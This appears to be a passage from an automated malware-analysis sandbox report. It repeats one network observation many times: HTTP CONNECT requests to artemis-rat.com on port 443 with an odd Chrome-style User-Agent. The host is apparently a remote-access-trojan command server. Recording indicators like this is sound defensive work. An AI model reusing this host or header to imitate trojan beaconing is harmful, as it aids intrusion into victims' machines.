Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT artemis-rat.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: artemis-rat.comProxy-Connection: Keep-Alive
